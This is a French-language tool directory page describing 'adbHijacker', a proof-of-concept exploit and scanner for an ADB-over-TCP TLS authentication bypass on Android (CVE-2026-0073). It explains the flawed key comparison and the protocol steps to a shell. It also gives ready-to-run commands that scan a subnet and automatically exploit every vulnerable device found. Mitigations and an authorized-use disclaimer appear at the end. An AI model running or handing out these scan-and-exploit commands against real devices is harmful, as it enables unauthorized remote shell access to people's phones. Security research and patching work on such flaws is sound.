Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
adbHijacker — Un outil PoC pour la CVE-2026-0073 sur les appareils Android 11+ qui permet une exécution de code à distance (RCE) instantanée en zéro clic sur tout appareil non corrigé avec adb sur tcp activé. | Kitploit
Outils/GitHubGitHub/unnaim/adbhijacker
Sécurité AndroidReconnaissanceAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionSécurité MobileOutil d'Accès à Distance
GitHubunnaim/adbhijacker

adbHijacker

Un outil PoC pour la CVE-2026-0073 sur les appareils Android 11+ qui permet une exécution de code à distance (RCE) instantanée en zéro clic sur tout appareil non corrigé avec adb sur tcp activé.

Voir le dépôt
8220il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-0073 — Contournement de l'authentification TLS ADB sur Android

Une preuve de concept d'exploit et un scanner réseau pour CVE-2026-0073, une vulnérabilité critique d'exécution de code à distance sans interaction ni clic dans le chemin d'authentification ADB-over-TCP d'adbd sur Android.

La vulnérabilité est un bug logique dans adbd_tls_verify_cert() (daemon/auth.cpp) où EVP_PKEY_cmp() est traité comme un prédicat booléen. Lorsqu'une clé RSA stockée est comparée à un certificat client TLS non-RSA (EC P-256 ou Ed25519), l'API renvoie -1 (incompatibilité de type), ce qui est truthy en C/C++. Cela transforme une incompatibilité entre algorithmes en une correspondance réussie de clé hôte — contournant entièrement l'authentification.

Détails techniques obtenus auprès de BARGHEST.
Code PoC de base provenant de SecTestAnnaQuinn.
Corrigé dans le Bulletin de sécurité Android — mai 2026.


Impact

Depuis le contexte shell, un attaquant peut inspecter les propriétés système, l'état des processus, les journaux, les notifications ; installer et supprimer des paquets ; utiliser run-as contre les applications débogables ; et préparer une exploitation ultérieure.


Fichiers

FichierObjectif
adb_tls_auth_bypass.pyPoC d'exploit mono-cible (original de SecTestAnnaQuinn, corrigé pour la somme de contrôle)
adbt_scanner.pyScanner réseau — découvre les appareils vulnérables + les exploite
requirements.txtDépendances Python

Prérequis (appareil cible)

Pour que l'exploit réussisse, l'appareil Android cible doit avoir :

  1. Options de développement activées
  2. Débogage sans fil ou ADB-over-TCP activé (le service TCP adbd de la plateforme)
  3. Au moins une clé hôte RSA précédemment appariée dans /data/misc/adb/adb_keys
  4. Accessibilité réseau au port TCP ADB (5555 par défaut)

Installation

root@kitploit:~
# Créer l'environnement virtuel
uv venv

# L'activer
source .venv/bin/activate

# Installer les dépendances
uv pip install -r requirements.txt

Dépendances :

Le scanner se dégrade gracieusement lorsque des paquets optionnels sont manquants — il émet un avertissement et revient à des méthodes alternatives (commande système ip, nmap, scan de connexion TCP).


Utilisation

Mode 0 — Exploit direct mono-cible

Attaquez directement un appareil vulnérable connu.

root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42              # shell interactif
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

Ou via le scanner :

root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42                # shell interactif
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Mode 1 — Scanner le réseau, identifier, exploiter

Scannez le réseau local pour trouver des appareils vulnérables et exploitez toutes les cibles confirmées.

root@kitploit:~
# Scan complet : mDNS → ARP → scan de ports → sonde ADB → exploit
python3 adbt_scanner.py --scan

# Exécuter une commande spécifique sur tous les appareils vulnérables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Reconnaissance uniquement — découvrir sans exploiter
python3 adbt_scanner.py --scan --no-exploit

# Scanner plusieurs ports
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Remplacer le sous-réseau détecté (hôtes multi-hébergés, plages spécifiques)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Régler les délais d'attente pour les réseaux lents
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Étendre la fenêtre d'écoute mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Ignorer des phases de découverte spécifiques
python3 adbt_scanner.py --scan --no-mdns    # ignorer mDNS, ARP uniquement
python3 adbt_scanner.py --scan --no-arp     # ignorer ARP, mDNS uniquement

Référence CLI du scanner

root@kitploit:~
--scan                    Scanner le réseau pour des appareils vulnérables + exploiter
--host HOST               Exploit direct mono-cible
--port PORT               Port ADB pour le mode --host (défaut : 5555)
--cmd COMMAND             Commande shell à exécuter
-v, --verbose             Journalisation détaillée

--mdns-timeout SECONDS    Durée d'écoute mDNS (défaut : 30)
--ports PORTS             Ports séparés par des virgules en mode --scan (défaut : 5555)
--subnet CIDR             Remplacer le sous-réseau détecté (ex. 192.168.2.0/24)
--connect-timeout SECONDS Délai d'attente de connexion TCP (défaut : 2.0)
--probe-timeout SECONDS   Délai d'attente de la sonde ADB (défaut : 3.0)
--arp-timeout SECONDS     Délai d'attente du balayage ARP (défaut : 3)
--no-mdns                 Ignorer la découverte mDNS
--no-arp                  Ignorer le balayage ARP + le scan de ports
--no-exploit              S'arrêter après la phase de sonde du protocole ADB

Pipeline de découverte

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. Détection de sous-réseau — netifaces → ip route → astuce socket │
│ 2. Écouteur mDNS         — _adb-tls-connect._tcp (30 s par défaut) │
│ 3. Balayage ARP          — scapy.arping → nmap -sn             │
│ 4. Scan de ports         — connexion TCP à chaque hôte:port    │
│ 5. Sonde du protocole ADB — envoyer CNXN, classer la réponse   │
│                                                             │
│    STLS   → VULNÉRABLE (passer à l'exploit)                  │
│    AUTH   → authentification ADB héritée (pas cette CVE)     │
│    CNXN   → ouvert, sans authentification (déjà accessible)  │
│    NO_ADB → pas un service ADB                               │
│                                                             │
│ 6. Exploitation          — mise à niveau TLS → contournement d'auth → shell │
└─────────────────────────────────────────────────────────────┘

mDNS est la méthode d'identification la plus précise : lorsque le débogage sans fil est apparié, Android diffuse _adb-tls-connect._tcp explicitement. Le balayage ARP + le scan de ports servent de solution de repli fourre-tout.


Mécanique de l'exploit

root@kitploit:~
Phase 1 — ADB en clair
  Client → CNXN(payload="host::features=...")
  Appareil → STLS  (mise à niveau TLS requise)

Phase 2 — TLS 1.3 avec certificat client inter-algorithmes
  Client → réponse STLS
  Client → poignée de main TLS 1.3 + certificat client EC P-256
  L'appareil appelle adbd_tls_verify_cert() :
    known_evp = clé RSA depuis /data/misc/adb/adb_keys
    evp_pkey  = clé EC P-256 depuis le certificat client
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (incompatibilité de type)
    if (-1) → verified = true   ← BUG : -1 est truthy

Phase 3 — Couche de service ADB post-TLS
  Le client vide le CNXN de l'appareil (transport déjà en ligne)
  Aucun CNXN hôte envoyé (déclencherait l'expulsion handle_new_connection)
  Client → OPEN(local_id, window=32MB, payload="shell:\x00")
  Appareil → OKAY  → flux shell établi

Modèle de menace

Exposition réseau directe

  • Débogage sans fil laissé activé sur un réseau non fiable (café, bureau, conférence)
  • ADB exposé sur Internet sur le port 5555 (plus de 10 000 appareils observés rien qu'en Corée lors de recherches sur l'exposition)

Création d'état assistée par malware

  • Un malware sur l'appareil utilise le service d'accessibilité pour activer les options de développement, activer le débogage sans fil et apparier une clé hôte — préparant l'appareil à une exploitation à distance par un pair réseau

Limites

  • Pas root. L'exploit fournit un contexte shell (uid=2000). La compromission du noyau, l'accès root et les clés du trousseau matériel nécessitent une élévation supplémentaire.
  • Nécessite une clé appariée. La cible doit avoir au moins une clé hôte RSA dans /data/misc/adb/adb_keys. Un appareil fraîchement réinitialisé avec le débogage sans fil activé mais jamais apparié n'est pas vulnérable.
  • Nécessite le chemin STLS. Les appareils servant ADB sur TCP via des mécanismes hérités (non-TLS) répondent avec AUTH, pas STLS, et ne sont pas affectés par cette CVE.
  • Les appareils corrigés sont immunisés. Le Bulletin de sécurité Android de mai 2026 inclut un correctif qui modifie la vérification EVP_PKEY_cmp pour exiger une valeur de retour exacte == 1.

Atténuation

  • Appliquez le correctif.
  • Désactivez les options de développement lorsqu'elles ne sont pas activement nécessaires.
  • Désactivez le débogage sans fil.
  • N'exposez pas ADB au-delà de votre réseau local de confiance.

Références

  • Bulletin de sécurité Android — mai 2026
  • Analyse technique par BARGHEST
  • Remerciements Android
  • Commit BoringSSL — normalisation de la valeur de retour EVP_PKEY_cmp
  • Rapport sur le logiciel espion Morpheus — Osservatorio Nessuno
  • MESH — outil de sécurité Android de BARGHEST

Avertissement

Ce logiciel est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Les outils et le code de ce dépôt sont destinés à aider les professionnels de la sécurité, les chercheurs et les propriétaires d'appareils à :

  • Comprendre comment CVE-2026-0073 fonctionne au niveau du protocole
  • Auditer et évaluer leurs propres appareils et réseaux
  • Développer et tester des atténuations

Vous ne devez pas utiliser ce logiciel :

  • Contre tout appareil ou réseau que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de tester
  • À des fins illégales ou en violation des lois applicables
  • Pour accéder, modifier ou exfiltrer des données sans autorisation

L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions et peut entraîner des sanctions pénales et civiles. Les auteurs et contributeurs déclinent toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences juridiques découlant de l'utilisation de ce logiciel.

Utilisez de manière responsable. Connaissez votre cible. Obtenez l'autorisation.


Licence

CC0 1.0 Universal — Aucun droit réservé.

Dans la mesure permise par la loi, les auteurs ont renoncé à tous les droits d'auteur et droits voisins ou connexes sur cette œuvre.

Télécharger l’outil
AttributDétail
Vecteur d'attaqueRéseau (adjacent / proximal)
InteractionAucune (zero-click)
Privilège obtenuUtilisateur shell (uid=2000), SELinux u:r:shell:s0
Primitive d'exploitationAccès shell distant via ADB
CVSSCritique (9.8)
PaquetUtilisé parRequis ?
cryptographyLes deux scripts (génération de certificat EC, TLS)Oui
netifacesScanner (détection de sous-réseau)Recommandé
zeroconfScanner (découverte mDNS)Recommandé
scapyScanner (balayage ARP)Recommandé